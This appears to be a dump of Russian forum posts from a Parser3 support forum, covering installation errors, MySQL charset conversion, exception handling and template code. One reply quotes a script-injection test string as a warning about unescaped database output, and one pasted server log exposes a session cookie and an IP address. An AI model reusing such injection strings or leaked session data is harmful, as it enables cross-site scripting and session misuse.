$foto[^table::sql{select\
id, name, info, body\
from\
 images  \
 }[$.limit(5)]]\
 ^if($foto){\
   ^foto.menu{\
<table width=\"90%\" border=\"0\" cellpadding=\"10\">\
<tr>\
<td><a href=\"/foto/?id=$foto.id\"><img src=\"/foto/foto/$foto.name\" border=\"0\" width=\"160\" height=\"120\"></a></td>\
</tr>\
</table>\
}<br>\
}{\
Фотографий нет\
}\
}\
@body_center[]\
^connect[$connect_string]{\
$foto[^table::sql{select\
id, name, info, body\
from\
 images\
  WHERE id = '^form:id.int(0)'\
 }]\
 ^if($foto){\
 ^foto.menu{\
<table width=\"90%\" border=\"0\" cellpadding=\"10\">\
<tr>\
<td align=\"center\"><img src=\"/foto/foto_big/$foto.name\" border=\"0\" width=\"460\" height=\"350\"></td>\
</tr>\
</table>\
<br>\
<table width=\"70%\" border=\"0\" align=\"center\" cellpadding=\"5\" cellspacing=\"1\" bgcolor=\"#8080FF\">\
<tr bgcolor=\"#EBEBEB\">\
<td  width=\"100%\" height=\"20\" align=\"center\" valign=\"top\"><b>^untaint{$foto.info}</b></td>\
</tr>\
<tr>\
<td bgcolor=\"#ffffff\" width=\"100%\" height=\"150\" valign=\"top\" align=\"justify\">^untaint{$foto.body}</td>\
</tr>\
</table>\
      }[<br>]\
   }{\
      Выберите фотографию и нажмите на неё\
}\
   }\
\
@body_right[]\
^connect[$connect_string]{\
$foto[^table::sql{select\
id, name, info, body\
from\
 images }[$.limit(5) $.offset(5)]]\
 ^if($foto){\
   ^foto.menu{\
<table width=\"90%\" border=\"0\" cellpadding=\"10\">\
<tr>\
<td><a href=\"/foto/?id=$foto.id\"><img src=\"/foto/foto/$foto.name\" border=\"0\" width=\"160\" height=\"120\"></a></td>\
</tr>\
</table>\
}<br>\
}{\
Фотографий нет\
}\
}\
\
[/code]"
"36409","вариант:\
напишите в MS Access макрос, который сохранит таблицы в .txt файлы.\
\
эти файлы затем можно залить на ftp.\
заливку можно сделать даже внутри того же макроса.\
\
с таблицами в .txt файлах parser может работать сам.\
не быстро, конечно.\
\
поэтому с какого-то момента подумайте об использовании SQL-сервера.\
\
.txt файлы легко импортировать во многие SQL-сервера."
"36411","как вы точно процитировали мой комментарий к буквальному переводу этого места by Ramesess II.\
\
посмотрите англоязычный вариант (который и будут читать описанные группы лиц)."
"36412","так вы передадите тело запроса.\
\
виснет, вероятно, на чтении stdin, в который parser по-умолчанию ничего не передаёт."
"36414","и можно в auto.p изменить имя libmysqlclient.so на имя какого-то другого файла, и это сойдёт с рук.\
\
это не так.\
\
узнайте у вашего админа, где же лежит файл libmysqlclient.so, и укажите в auto.p его полное имя.\
\
в следующий раз воспользуйтесь поиском по форуму, кто-то ровно так же боролся с трудностями :)"
"36415","еще разок...\
в auto.p \
@main[]\
-все как надо\
@header[] \
^greeting[]\
\
в index.html\
<html>\
<head>\
<body>\
@greeting[]\
главная страница!!\
\
И не работает!\
Пишет,что пропущен $ \
Что делать не знаю...Все перепроверил..Один в один ,как в документации..Народ ну потратьте вы пять минут!!!!!"
"36417","http://mdbtools.sourceforge.net/\
\
Может работать как интерфейс импорта/экспорта .mdb <-> .txt\
Есть возможность выполнения SQL запросов в .txt\
\
С помошью этого набора делал синхронизацию между Access (Win2000 Server) и MySQL (Linux)\
На машинке с Win в шедулере висит маленький скрипт, который кидает по FTP раз в некоторое время последние изменения в базе Access и вызывает на веб-сервере скрипт, который потрошит полученое.\
Так сделано потому, что мне потрогать Access было нельзя (как и запрограммить экспорт в CS или TD), зато была возможность утянуть/отдать файл по FTP."
"36418","вы ходите по известным граблям (невнимательно читаете документацию)."
"36420","такое вообще возможно? ...может каким то другим способом?"
"36421","^какой-то[]\
$код[тут]\
\
а потом\
@greeting[]\
…\
\
Что значит $код[тут] ?????"
"36422","отобрать каталоги \"по маске из названий\" - невозможно в принципе, на что я вам тоже указал в своем первом ответе."
"36424","http://www.parser.ru/forum/?id=8647\
посмотри пожалуйста,а то я все со вторым уроком бьюсь...\
Вродь все правильно сделал, а говорит,что пропущен $"
"36425","Я понял в чем собственно суть проблемы....=)\
Извините ,что отнял время!"
"36426","Спасибо!\
Да, я с самого начала сделал все так как [url=\"http://www.parser.ru/download/freebsd/\"]там[/url] написано.\
Распаковал в директорию  c parser3.cgi..и ничего не работало, потому что надо было \"вынуть\" конф. файлы из папки parser3, а не просто \"распаковать\" этот архив :).\
\
Но как теперь быть с \"красными строками\"?\
При тестировании написано: \"Настроено неверно..\". а как исправить то это?"
"36427","...к файлам кодировок и к клиентской библиотеке SQL сервера.\
Задать $CLASS_PATH и определить $SQL.connect-string.\
\
Если не знаете как - поищите по форуму"
"36429","[quot]в index.html\
<html>\
<head>\
<body>\
@greeting[]\
главная страница!!\
[/quot]\
\
В форуме таких вопросов куча. На каждый из них ответ - где в уроке описаны строки <html><head><body> в index.html\
Читайте, пожалуйста, внимательно."
"36430","если ли такая php'шная штука в парсере - gethostbyaddr($REMOTE_ADDR)?\
\
или можно другим способом определить страну посетителя?\
\
спасибо."
"36431","подскажите пожалуйста, как решить проблему ??  Имеется заполненная база данных (MySQL) в кодировке windows-1251, в ней наполовину заполненная (трудилось 3 человека в течении 2ух дней) таблица в которую необходимо занести информацию на финском языке, есть ли способ поменять кодировку текста содержащегося в БД на UTF-8 ??"
"36432","автоматом - нет. (но в принципе что-нить сделать можно)\
\
а вообще MySQL до версии 4.1 не поддерживал UTF8 :) (у вас какая версия))\
\
sql сервер выделенный для этой задачи? (кодировка меняется только для сервера целиком)"
"36433","Я добросовестно жал cmd+r и чистил кеш. может, прокси лишнего запомнил, не хотел обновлять.\
\
Теперь страница выглядит \"правильно\", спасибо."
"36435","whois, или что хотите однострочное на perl\
так вы получите больше толка."
"36436","MySQL 3.23.54-nt. Кодировка в БД windows-1251, а инфа в UTF-8. Всё работает. http://www.kultforum.natm.ru/kand.html?show=LOCATION&id=11. Хех.. запись KA-21-2005, UTF-8 отображается, но вот всё остальное =((\
\
[quot]sql сервер выделенный для этой задачи? (кодировка меняется только для сервера целиком)[/quot]\
\
не понял.. ??"
"36437","да... у вас все запущено.\
у вас в БД уже лежат буквы в разных кодировках (win и UTF)\
\
вариант только один:\
- сделать dump вашей БД\
- сконвертировать куски текста в этом dump-е в UTF8\
- залить полученное обратно\
- удрать из строки подключения парсера указание перекодировки\
- забыть про серверные ORDER BY & Co по строкам, т.к. работать они правильно не будут.\
\
[quot]\
sql сервер выделенный для этой задачи? (кодировка меняется только для сервера целиком)\
[/quot]\
\
уже не важно. просто если бы был 4.1 и вы изменили-бы кодировку сервера это сказалось бы на ВСЕХ базах данных этого сервера."
"36438","Я до этого времени работал только с английским и русским набором символов, поэтому особо о кодировке не задумывался. Возможно ли на HTML-странице с кодировкой windows-1251 отображение символов из набора UTF-8 ??"
"36439","как заменить переводы строк в тексте на какой нибудь текст. наверное регулярными выражениями, но я в них не силен... подскажите plz"
"36441","отвечу сам, можно =)) [url=\"http://html.manual.ru/book/info/specialchars.php\"]http://html.manual.ru/book/info/specialchars.php[/url]. Мой извращённый мозг предлажил следующий вариант: форма на сервер отправляется в кодировке UTF-8, там перекодируется в windows-1251, при этом все непринимаемые этой кодировкой символы заменяются на спецсимволы html'a, и всё это дело кладётся в БД. Вроде должно сработать... Жду комментариев."
"36442","преобразование букв, не влезающих в однобайтную кодировку, parser сделает сам.\
\
однако, когда вы достанете данные из базы, знак & будет преобразован в &amp; и в браузере будет видно не то, что нужно.\
\
поэтому надо будет сделать ^untaint от строки из базы.\
но аккуратно, поскольку так если в базу попадёт строка\
<script>alert('haha')</script>\
то результат вас может не порадовать.\
\
вариант: входные финские буквы, а их немного, из &#ddd; заменить на какие-то английские редковстречающиеся буквосочетания, так положить в базу. когда будете доставать, заменить обратно.\
\
так можно организовать аккуратную сортировку.\
\
скажем, 'а со штрихом' (не знаю финского, просто пример), можно заменить на \"aaa___\". улавливаете?\
\
\
другой вариант: не использовать сортировку в SQL, а использовать сортировку в XSL."
"36443","вот кусок auto.p\
[code]\
@conf[filespec]\
$confdir[^file:dirname[$filespec]]\
$charsetsdir[$confdir/parser3.charsets]\
$sqldriversdir[$confdir/lib]\
\
\
# change your client libraries paths to those on your system\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	$sqldriversdir/libmysqlclient.so\
}]\
] \
[/code]\
может я где неправильно прописал."
"36444","ой, да это ж сам... 8) нету слов, гениально и просто =)). всё понятно, так и сделаю. всем большое спасибо, особенно Александру."
"36446","файл обычно не лежит там, где вы написали.\
о чём вам явно parser говорит в сообщении об ошибке.\
(перечитайте своё первое письмо)\
\
где этот файл искать, спросите вашего администратора.\
\
следующий вопрос публикуйте [b]только[/b] после того, как поищите подобные вопросы по форуму, поиск слева."
"36448","без хорошего админа грустно.\
\
но если куда-то торопитесь, можете попробовать сами... воспользоваться поиском по форуму.\
\
уверен, у вас этот файл лежит в том месте, где и у других."
"36449","как мне объяснили этой библиотеки у них нет. и парсер ее не должен требовать так как она должна быть уже слинкована в нем статистически. где смотреть?"
"36451","обычно эта библиотека есть, и обычно проблем ноль.\
\
если вам нужно как-то иначе, то или соберите эту библиотеку из исходников сами, или найдите готовую.\
\
если (сюрприз) воспользоваться поиском, вы найдёте сколько-то аналогичных вопросов. может быть люди поделятся готовой [напишите в своей к ним просьбе, что за OS вы используете].\
\
если кто-то хочет изменить драйвер parser для mysql, чтобы тот использовал статическую версию библиотеки mysqlclient, всегда пожалуйста, изменения тривиальны."
"36453","Возникли проблемы с кодировками, а MySQL теперь поддерживает UTF и многие советуют ее использовать. \
Хотелось бы разобраться как и что. \
Просьба подбросить линков если есть..."
"36454","есть входной файл в котором ссылки на рактинки вот такого типа\
<IMG SRC=\"img/Image1.png\" ALT=\"Image1\">\
<IMG SRC=\"img/Image2.png\" ALT=\"Image2\">\
а мне в выходном файле надо получить типа\
<IMG SRC=\"/files/file1/img/Image1.png\" ALT=\"Image1\">\
<IMG SRC=\"/files/file1/img/Image2.png\" ALT=\"Image2\">\
\
какое должно быть регулярное выражение"
"36456","мой предыдущий начальник тоже любил слово «помогите».\
скажем, «помогите машину разгрузить». при том, что помогать некому было…"
"36457","Пока выход нашел.\
в заголовок страници добавил <base href=http://сервер.ru/files/$dir/>"
"36459","Пытаюсь установить Parser3 на ruweb.net.\
Скопировал cgi скрипт в каталог cgi-bin (туда же auto.p и драйверы mySQL)\
В public_html закачал .htaccess с необходимыми директивами (FreeBSD).\
При попытке доступа к сайту - 500 (Ошибка сервера).\
Если есть время, то распишите по шагам, что нужно сделать!!!"
"36460","Во-первых, прошу прощения за групые вопросы.Если откровенно мне всего 15, и поэтому что-то доходит тяжело. Но я очень хочу чего-то достич. Я вы посоветовался у людей из нашего города, но вроде бы никто не программирует на Parser. Так что одна надежда на вас.\
В том примере (отображение календаря) Я нашел пару ошибок: неправильный формат класса [code]^dtf[/code] (или правильный? а то в классе написано должно быть [color=\"#ff0000\"]%Y-%m-%d[/color] или без разницы, т. е. можно использовать вместо [color=\"#ff0000\"]-[/color]и пробелы и точки?), а также там не используется подключение к серверу ([code]^MAIN:pSQL.server{}[/code]. Вот и все что я нашел. Но при вызове Календаря:\
[code]$calendar[^getCalendar[$.article_type_id(1)]]\
	^printCalendar[$calendar]\
[/code]\
Ничего не происходит, не выскакивает ни ошибка, ни сам календарь. Подскажите где еще есть ощибки или какая причина такой работы?\
P.S. Отдельное спасибо Mishe что он \"заткнул\" меня.\
И советую всем новичкам почитать [url=\"http://v90.kiev.ua/faq/smart-questions-ru.html\"]о том как задавать вопросы[/url]"
"36461","Хочу, чтобы например, когда заходишь в \"контакты\", а в контактах в \"половые\", кнопка \"контакты\" была все же подцвечена, точно как в форуме..\
\
помогите пожалуйста\
\
код: [code]@navigation[]\
$dirs[^table::load[/directions.cfg]]<table width=\"770\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">\
<tr><td align=\"middle\"><!-- <img src=\"/img/menu_beg.gif\"> --></td>\
    ^dirs.menu{\
	^navidirs_cell[]\
   }<td align=\"middle\"><img src=\"/img/menu_beg.gif\" width=\"5\" height=\"27\"></td>\
   </tr></table>\
\
@navidirs_cell[]\
<td align=\"middle\"><img src=\"/img/menu_beg.gif\" width=\"10\" height=\"27\"></td>\
$cell_width[^eval(100\\$dirs)%]\
^if($curr_uri[^findstr[$dirs.uri;^request:uri]]) > -1 )\
{<td width=\"$cell_width\" align=\"middle\" class=directis>\
   <nobr><span class=directis>$dirs.name</span></nobr>\
   </td>\
}{<td align=\"middle\" width=\"$cell_width\" class=tddirects>\
          <a href=\"$dirs.uri\" class=\"directs\"><nobr>$dirs.name</nobr></a>\
  </td>\
}\
[/code]"
"36463","Тестирую сайт под IIS6. Часто наблюдаю картину - parser работает нормально, но после некторой паузы IIS перестаёт отдавать html страницы, а лог полнится сообщениями \
\
[quot]The server failed to load application '/LM/W3SVC/2/Root'.  The error was '8007053d'. \
For additional information specific to this message please visit the Microsoft Online Support site located at: http://www.microsoft.com/contentredirect.asp. [/quot]\
\
пока заменил dll на exe"
"36464","и распишите по шагам, там указанным, что вы сделали."
"36465","Класс обновлен из-за возникающих у пользователей ошибок в подключении.\
\
1. Теперь не важно как задан путь к исходной и конечной картинке с обратным слешем на конце или без него.\
2. Если не создана папка в которую должны записываться превью картинки - она создается.\
\
http://www.parser.ru/examples/imagemagic/"
"36466","несовместимые изменения: смотреть примеры и делать выводы, хотите обновлять/править или нет.\
\
старый вариант (с возвращением статусов) я больше править не буду (возможность скачать его осталась). в новом варианте все делается через try/throw.\
\
P.S. классу также требуется последняя версия sql.p"
"36467","sections.cfg лежит в корневой папке..\
также есть /news на страницах которой тоже используется sections.cfg \
обязательно ли надо класть файл sections.cfg в папку news или можно решить кодом???"
"36468","Спасибо, уже разобрался. Всё работает.\
Parser вещь хорошая. Я бы даже сказал уникальная, но есть одна загвоздка. Прошу не принимать близко к сердцу. Беда всех наших программистов в том, что ну не можем мы написать нормально сопровождающие документы (установка, работа и т.д.). Некоторые моменты очень любим опускать, считая их лишними и принимая их как само собой разумеется. Одним словом, добавьте пожалуйста в инструкцию пару строк:\
1. После закачки программы parser3.cgi (обязательно в бинарном режиме) необходимо выставить права (изменить атрибуты файла) - 755.\
2. При возникновении ошибок убедитесь, что Вы не закинули auto.p (скаченный с сайта) в кучу мест он должен лежать вместе с parser3.cgi, иначе Вы получите ошибку - Парсер уже сконфигурирован.\
\
Спасибо."
"36469","Необходимо не ставить на заглавной странице ссылку. Я видимо не правильно задаю адрес.\
[code]\
$main[\"http://www.main.ru/\"]\
^if($main eq $request:uri){\
<img src=\"logo.gif\">}{\
<a href=\"\"><img src=\"logo.gif\"></a>\
}\
[/code]"
"36470","Ну так просто измени путь.\
$news[^table:load[/sections.cfg]]"
"36471","$request:uri в твоем случае скорее всего будет равна [color=\"#ff0000\"]/[/color] или [color=\"#ff0000\"]/index.html[/color], что не равно http://www.main.ru/"
"36472","а может так:\
[code]\
^if($request:uri eq \"/\"){\
 <img src=\"fdg\" alt=\"sgfd\">\
}{\
 <a href=\"sdfd\" title=\"sdf\"><img src=\"sdfd\" alt=\"dsf\"></a>\
}\
[/code]"
"36475","простоя дома в денвере тренируюсь..надо было дописать /test/parser3"
"36476","а другие не всем по нраву.\
поэтому мы пишем обтекаемую формулировку и подробную статью в FAQ.\
\
что до бед всех программистов…\
прочтите сопроводительный документ, который вы написали к вашему последнему проекту."
"36477","Можно ли сделать так, чтобы абсолютный путь брался бы не от корня файловой системы, а от корня веб-пространства? Иначе, если я пишу [code]<!DOCTYPE data SYSTEM \"/schemas/common.dtd\" >[/code], то файл ищется по адресу [b]C:/schemas/common.dtd[/b].\
В принципе, эту проблему можно обойти, используя относительные пути, но это не пройдет для документов, получаемых с помощью вызова [b]parser://method/parameter[/b]. В одном примере на формуме я видел задание адреса через http:[code]]<!DOCTYPE data SYSTEM \"http://localhost/schemas/common.dtd\" >[/code], но мне совершенно не хотелось бы использовать такую конструкцию (по причине гарантированного снижения производительности)."
"36478","Я решил организовать поиск на своем сайте через Google, но когда сделал форму, то Google отказался понимать мой ^taint[uri][$query].\
\
Объясню. Дело в том, что все мы знаем о том, что нужно посылать русские буквы закодированные под url-запрос. Но это в данном случае не помогло.\
\
Что я предпринял? Я попробовал просто скопировать форму Google на свой сайт и дал на поиск строку на русском языке. Но получил в строке запроса: \"??????\".\
\
Выводы:\
1. Преобразование происходит на сервере.\
2. Google делает свое преобразование, не такое, как Parser.\
\
Помогите найти решение. Каким образом Google конвертирует русскую кодировку? Возможно, он делает дополнительные конвертирования?\
\
P.S. Yandex понимает нас отлично!"
"36481","Может тогда подскажите готовые конвертеры в UTF-8?"
"36482","Что-то у меня не получается вызвать методы из других классов, кроме MAIN... Например при использовании данной конструкции в методе пользовательского класса, parser не может вызвать методы того же класса, а ищет данный метод в MAIN. В документации ничего об этом не сказано."
"36483","http://www.parser.ru/forum/?id=34988"
"36484","что то типа вот так:\
\
в файл типа utf.dat\
\
from	to\
%D0%B0	а\
%D0%B1	б\
%D0%B2	в\
%D0%B3	г\
%D0%B4	д\
%D0%B5	е\
%D1%91	ё\
%D0%B6	ж\
%D0%B7	з\
%D0%B8	и\
%D0%B9	й\
%D0%BA	к\
%D0%BB	л\
%D0%BC	м\
%D0%BD	н\
%D0%BE	о\
%D0%BF	п\
%D1%80	р\
%D1%81	с\
%D1%82	т\
%D1%83	у\
%D1%84	ф\
%D1%85	х\
%D1%86	ц\
%D1%87	ч\
%D1%88	ш\
%D1%89	щ\
%D1%8A	ъ\
%D1%8B	ы\
%D1%8C	ь\
%D1%8D	э\
%D1%8E	ю\
%D1%8F	я\
%D0%A1	с\
%21	!\
%22	\"\
%23	№\
%24	;\
%25	%\
%26	:\
%27	?\
%28	(\
%29	) \
%2B	+\
%3D	=\
\
и парсеровским реплейсом"
"36485","в чем преимущество try/throw перед возвращением статусов?"
"36486","то, что вы увидели в примере, это официальный трюк.\
эта запись будет воспринята parser'ом в смысле\
[code]$request:document-root/schamas/common.dtd[/code]\
\
и никакого HTTP запроса не произойдёт вовсе.\
соответственно, никакого снижения производительности.\
это плюс.\
\
минус:\
этот подход непереносим — такой шаблон нельзя использовать с другим процессором шаблонов без изменения.\
\
самый правильный подход: использовать относительные ссылки.\
приведённое вами возражение о невозможности использования относительных ссылок в документах, полученных по протоколу parser:// неточно.\
ведь ничто не мешает отдать по тому же протоколу и файл .dtd, создав для этого однострочный метод.\
если хотите, это можно отдельно обсудить."
"36487","http://www.parser.ru/docs/lang/stringreplace.htm"
"36488","Было\
[code]\
@main[]\
^first[]\
^if(def $error){\
	^if(^error.pos[koshmar]>=0){\
	  $error, TODO:recover\
	}{\
	  $error, TODO:die\
	}\
}\
@first[]\
^second[]\
^if(!def $error){\
	working1\
}\
@second[]\
^if(^math:random(2)){\
  $error[koshmar,test1]\
}\
^if(!def $error){\
	working2\
\
    ^if(^math:random(2)){\
      $error[uzhas,test2]\
    }\
    ^if(!def $error){\
    	working3\
    }\
}\
[/code]\
\
Стало\
[code]\
@main[]\
^try{\
  ^first[]\
}{\
  ^if($exception.type eq koshmar){\
     $exception.source [$exception.type]\
     $exception.handled(1)\
  }\
}\
@first[]\
^second[]\
working1\
@second[]\
^if(^math:random(2)){\
  ^throw[koshmar;test1]\
}\
working2\
\
^if(^math:random(2)){\
  ^throw[uzhas;test2]\
}\
working3\
[/code]\
\
т.е. ушли все if(!def $error)\
\
и это простой случай.\
а если работа ещё в разветвлённых ветках условий, то нагромождение if(!def $error) становится астрономическим.\
\
когда деревья были большими и я программировал на Turbo Pascal, в котором не было throw/catch, я прочёл об в книжке по C про setjmp/longjmp, так там это называется, идея немедленно была реализована парой asm-функций…\
\
и из реального небольшого приложения было выкинуто 150 (сто пятьдесят) более ненужных проверок «if(!error)»."
"36489","Уважаемый Александр, помогите с установкой. Описываю свои пошаговые действия:\
1. Скачал с сервера скрипт\
2. Закачал его на свой сервер (коммерческий хостинг) в бинарном режиме в папку \
корневой каталог/cgi-bin/\
Установил на него права 755\
3. В этот же каталог закачал конфигурационные файлы из архива\
4. в корневой папке сайта создал .htaccess\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3.cgi\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>\
5. Запускаю http://мой_сайт.ru/_test.html\
Результат - ошибка 500\
Запускаю http://мой_сайт.ru/cgi-bin/parser3.cgi\
- Ошибка 500\
\
Что я сделал не правильно ?"
"36490","Спасибо"
"36492","Уважаемый Александр, FAQ я прочитал, прежде чем обращаться за помошью в форум.\
Вы, вероятно, имеете в виду фразу \"в иных случаях посмотрите лог ошибки, ее текст подскажет что делать\".\
\
Вот лог:\
%% [Fri Jan 14 12:30:53 2005] GET /cgi-bin/parser3.cgi/index.html HTTP/1.1\
%% 500 /home/www/a1/cgi-bin/parser3.cgi\
%request\
Accept: */*\
Accept-Encoding: gzip, deflate\
Accept-Language: ru\
Cache-Control: bypass-client=это мой ай-пи\
Connection: Keep-Alive\
Cookie: PHPSESSID=a70b49de991cc858b0addd66f81ccc13; LDUC=MDpfOjA6XzpuZXcyMWNlbnR1cnk%3D; hotlog=1; b=b\
Host: мой сайт\
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\
X-Forwarded-For: 83.239.5.94\
%response\
%stderr\
[Fri Jan 14 12:30:53 2005] [error] (2)No such file or directory: exec of /home/www/a1/cgi-bin/parser3.cgi failed\
\
На сколько я понимаю - ошибка не найден файл parser3.cgi\
Но ведь он есть в этой директории."
"36493","Данный вопрос об ошибке 500 при первичной установке парсера уже не раз поднимался на этом форуме (судя по поиску), однако четкого ответа нигде нет.\
Все ответы однотипны - почитай фак, это элементарно, сам думай и т.п.\
Надеюсь на Вашу помощь."
"36495","кратко: мне так удобнее :)\
\
развернуто:\
я раньше не пользовался исключениями, а попробовав понял, что с их помощью писать удобнее: выкидывается огромное количество ветвлений и код становится более читаемым, многая логика пишется проще.\
например вы получаете от пользователя картинку. сколько if-ов надо написать чтобы удостовериться в этом? при этом совсем без исключений вообще не обойтись. в классе auth в методах insertUser/updateUser была кучка проверок для того, чтобы лишь вернуть правильный код возврата, кроме этого я вызывая эти функции извне опять вынужден был писать кучку проверок (тут было немного проще, switch/case) чтобы правильно все обработать.\
\
далее: для того чтобы добавить дополнительную не очень сложную логику нужно было перекрывать ну очень много всего. после перехода на try/throw из insertUser/updateUser & Co была выкинута пачка if-ов и анализ того, что пошло не так делается извне в catch (см. _auth_profile.html). и свои собственные проверки добавляются легко (перекрыв postInsert вы при обнаружении своей собственно ошибки, например пользователь не указал обязательный параметр - год рождения, делаете нужный вам throw и ловите в одном единственном предназначеном для этого месте)"
"36497","и приведите директиву Action из рекомендуемого в документации.\
http://www.parser.ru/docs/lang/install4apachecgi.htm"
"36498","Спасибо, все заработало.\
Оказалось это моя ошибка - служба поддержки хостинга сразу на нее указала.\
В любом случае, Александр, спасибо за поддержку."
"36499","Поставил в VMWare старенький Red Hat 7.3, скомпилил бинарник в нём (пока без XML) - на алетии работает!"
"36501","Т.к. это замедляет приложение. У меня были случаи когда я чуть ли не 2 раза ускорял код заменив ловлю часто возникающих исключений с помощью проверок. Тут как и везде нужно сравнивать оба варианта."
"36502","Я в силу невнимательности закачал на сервер не оригинальный скрипт с парсер.ру, а старую версию которая была у меня на компе, для другой ОС"
"36504","имеет смысл использовать throw, когда случилось что-то совсем плохое, а не как средство уменьшения количества if-ов.\
\
поскольку, да, расходы на throw/catch существенно выше, чем на if.\
и, если throw/catch по ходу обработки страницы происходит тысячи раз, то, конечно, это будет медленнее старых добрых if-ов."
"36507","Заранее извиняюсь если подобная тема уже поднималась, но мой поиск был безрезультатным :(\
\
Возможно кто-то уже сталкивался с подобным вопросом, расскажите что да как, мне нужно вывести последние Х сообщений/тем с форума на сайт, движок форума php-шный (vB) сайт соотв на парсере, возможна ли такая процедура, если да то каким образом это можно сделать?\
\
Спасибо."
"36509","Скорее да чем нет\
Если форум на MySQL то надо разобраться со строением БД и сделать - без этого никак.\
\
Для большинства местных этот вопрос мало интересен тк здесь принято свои форумы писать."
"36510","Посмотреть структуру ДБ.\
Если непонятно, можно подсмотреть каким запросом выдергиваются сообщения в соответствующем скрипте форума и построить аналогичный на сайте."
"36511","Но будем учиться ;-)"
"36513","Будучи модулем апача, парсер показывает вдвое большие значения $status:rusage.utime, чем будучи простым CGI-скриптом. Или я чего-то не так понял?\
\
Parser 3.1.4(XML) на линуксе 2.6.9 с апачем 1.3.33. В скриптах используется SQL"
"36514","время $status:rusage.utime (Чистое время, затраченное текущим процессом) считается с момента старта апача :) и оно постоянно растет. т.к. процесс модуля не умирает как в случае с CGI"
"36515","... но визуально всё быстро работает, так что будем считать что я не зря модуль собрал :)"
"36516","На локальной машине установлен сервер Apache 1.3 под Вынь. \
Сделал небольшой набросок по примерам и решил опробировать на сервере. Возникает какая-то непонятная ошибка Парсера - \
[b]'server' undefined method [parser.runtime][/b]\
На локалке всё работало и работает, а на сервере нет.\
Проверил подключение модулей в auto.p - все подключены!\
Подскажите пожалуйста в чем может быть причина.\
Заранее всем благодарен!"
"36517","В auto.p в корне сайта у меня встречаются строки:\
\
^MAIN:pSQL.server{\
...\
}\
\
Парсер ругается при встречи любой такой строки и в любом файле сайта."
"36518","В \"примерах\" подробно объясняеться, что это за строка и что вы забыли сделать...\
\
http://www.parser.ru/examples/comp/"
"36523","1. что общего между строками?\
[code]\
%Y-%m-%d %H:%M:%S\
2001-02-13\
2001-02-13 15:55[:55]\
15:55\
[/code]\
2. что такое формат?\
3. что имел ввиду автор под этими строками?\
[code]\
# Метод в состоянии переварить форматы 2001-02-13, 2001-02-13 15:55[:55], 20:30\
# если указано только время, то дата будет установлена текущая\
# Использовать: ^dtf:parse[2001-02-13] или ^dtf:parse[2001-02-13 15:55] или ^dtf:parse[15:55]\
# Если запущена без параметров, то сконструирует текущую дату.\
[/code]\
\
[code]\
^MAIN:pSQL.server{} # для чего используется эта строка?\
[/code]\
\
tip: про CGI книгу почитайте.\
\
[color=\"#ff0000\"]\
P.S. идя  от простого к сложному эффекта будет больше, не стОит сразу лезть в сложное!\
       Тогда вы будете меньше глупых вопросов задавать. Никто не горит желанием все жевать за вас.\
  [/color]"
"36524","Да. Но почему же он ничего не показывается? Скажите хотя бы Там есть еще ошибки?\
\
\
P.S. Ваш совет понял, с чего посоветуете начать, кроме первых 5 уроков?"
"36527","но в первом случае точно не CGI-скрипт работал, а модуль.\
CGI-скрипта просто не было, физически :)"
"36528","а то что там какие-то циферки на странице дык это не доказательство для серъёзных джентельменов."
"36529","Циферки опять скачут а не постоянно увеличиваются. Значит под юникосом процесс модуля выгружается из памяти через некоторое время. А вообще мерить время выполнения с модулем используя utime надо не беря его абсолютное значение, но вычитаяего из того, что берется в самом начале работы измеряемого кода."
"36530","Вы не печатаете код, поэтому никто не знает есть ли там ошибки. В примерах ошибок нет. Следите за опечатками.\
\
В форуме принято писать просьбы о помощи когда абсолютно четко выявлено место проблемы и не находится ее решение. Нужно стирилизовать проблему и в чистом виде её писать на форум. Сначала изучите все максимально и не задавайте глупых  и риторических вопросов, все равно никто не ответит. Ставьте себе  сами вопросы и ищите ответы в сети они есть всегда в 99.99% случаев. И будьте серьезным на форуме люди серьезные тоже, так проще будет ;)\
\
как выявлять проблему?\
если ее очевидно не видно(т.е. как в FAQ или синтаксис или опечатки) то закоментрирывайте строка за строкой до тех пор пока чтонить не заработает.\
\
P.S. Вот с чего я начинал когда-то:  http://uic.nnov.ru/~paaa/l_cgi.htm  вот эта книжка но токо печатный вариант из магазина. А вообще ИМХО в 15 лет рано еще парсится, другим надо заниматься."
"36531","Как метод, класса, имя которого в переменной? т.е. например \
\
[code]\
\
# \
#  Выбранный класс GBOOK\
#\
\
$class[GBOOK]\
\
# Как-то хотим вызвать у этого класса статический метод, как?\
^$class:stat_method[]\
\
[/code]"
"36533","Извините за тупое сообщение, но какие типы операторов бывает в Parser? Ну то есть которые проверяются с помощью [code]is[/code]. Допустим код: \
[code]\
$q[3]\
^if($q is string){Это сктрока}{Это число}\
[/code]\
В этом примере Parser считает, что 3 - строка, поэтому он выводит \"Это строка\". Каким способом определить оператор число или строка? Спасибо."
"36534","$q() - число\
$q[] - строка\
$q{} - код\
\
все это есть в документации"
"36537","А что посоветуете сейчас делать? - все кинуть? или заняться паскалем, php, и что-то другое?"
"36539","А заняться лучше чтением всяких книжек по теории программирования."
"36540","http://www.parser.ru/forum/?limit=50&page=124\
\
out of memory: failed to allocate clean 5124 bytes. heap_used=23781376, heap_free=0, bytes_since_gc=13992272, total_bytes=31924868\
\
критичное значение limit=46\
\
\
Что интересно! Недавно я столкнулся в своем проекте с таким же неприятным случаем, поставил 3.1.4 и памяти перестало хватать ( хостинг Караван лимит 64 MB ). при этом все работало на 3.1.3 без проблем памяти съедало максимум 20 MB. Откатился назад."
"36541","Спасибо, работает.\
\
Совсем забыл про process, и что внутри process стринг находится..."
"36542","Вы меня не так поняли. Вот реальначя проблема. У меня есть $request:query - он может быть числом (100 или там 234) или строкой типа (branch=1&branch=2 - типа такого), и мне нужно определить если $request:query - строка, то выполнить одну функцию, а если строка то другую. Как это сделать?"
"36543","Посмотрите что написано в доке по этому поводу ^имя.int[]"
"36544","Вместе с куском не нужного кода я удалил строку создания экземпляра класса.\
Всем большое спасибо!!!"
"36545","Не могу понять в чем причина. Может sendmail так отстроен?\
Когда я пытаюсь отправить письмо с сайта на ящик отличный от домена сайта, то получаю ошибку:\
>'send' The mail server doesn't like the name xxxxxx@xxxx.com. Have you set the 'To: ' field correctly? [smtp.execute]\
Или другую мол письмо пустое.\
Хотя имя ящика задается правильно и письма не пустые!\
\
